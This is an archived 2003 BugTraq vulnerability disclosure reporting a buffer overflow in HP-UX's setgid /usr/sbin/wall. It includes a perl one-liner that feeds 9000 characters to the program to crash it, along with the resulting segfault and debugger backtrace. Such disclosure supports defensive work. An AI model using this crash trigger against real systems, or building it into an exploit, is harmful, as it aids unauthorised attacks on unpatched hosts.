BugTraq
HPUX Wall Buffer Overflow Feb 07 2003 02:22PM
Scotty (smackenz oakey no-ip com)
Hi all, after looking to check if this had been reported before I couldn't
find anything, so here's my two cents:

HPUX /usr/sbin/wall Buffer Overflow.

bash-2.04$ ls -las /usr/sbin/wall
40 -r-xr-sr-x 1 bin tty 20480 Nov 7 1997
/usr/sbin/wall

Wall on HPUX works in the following way:

echo "Something to Say" > file
wall file

The problem arises when we place 9000 A's into the file to be broadcast by
the wall program.

(Tested on HPUX 11.11)

perl -e 'print "A" x 9000' > /tmp/out
/usr/sbin/wall /tmp/out
Memory fault

(Tested on HPUX 11.00)
perl -e 'print "A" x 9000' > /tmp/out
/usr/sbin/wall /tmp/out
bash-2.04$ /usr/sbin/wall /tmp/out
Segmentation fault

Looking at the registers, we can see:

Program received signal SIGSEGV, Segmentation fault.
0x7f779c08 in strcat () from /usr/lib/libc.2
(gdb) bt
7f779c08 in strcat () from /usr/lib/libc.2
#1 0x34dc in ?? ()
#2 0x34dc in ?? ()
#3 0x34dc in ?? ()
#4 0x34dc in ?? ()
Error accessing memory address 0xffffffff: Bad address.
etc.. etc

The wall binary has Set Group ID of tty, so not a huge problem, but even
so - still a security risk.

Regards,

uk2sec
Memebers; eip, c0w
uk2sec (at) oakey.no-ip (dot) com [email concealed]

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus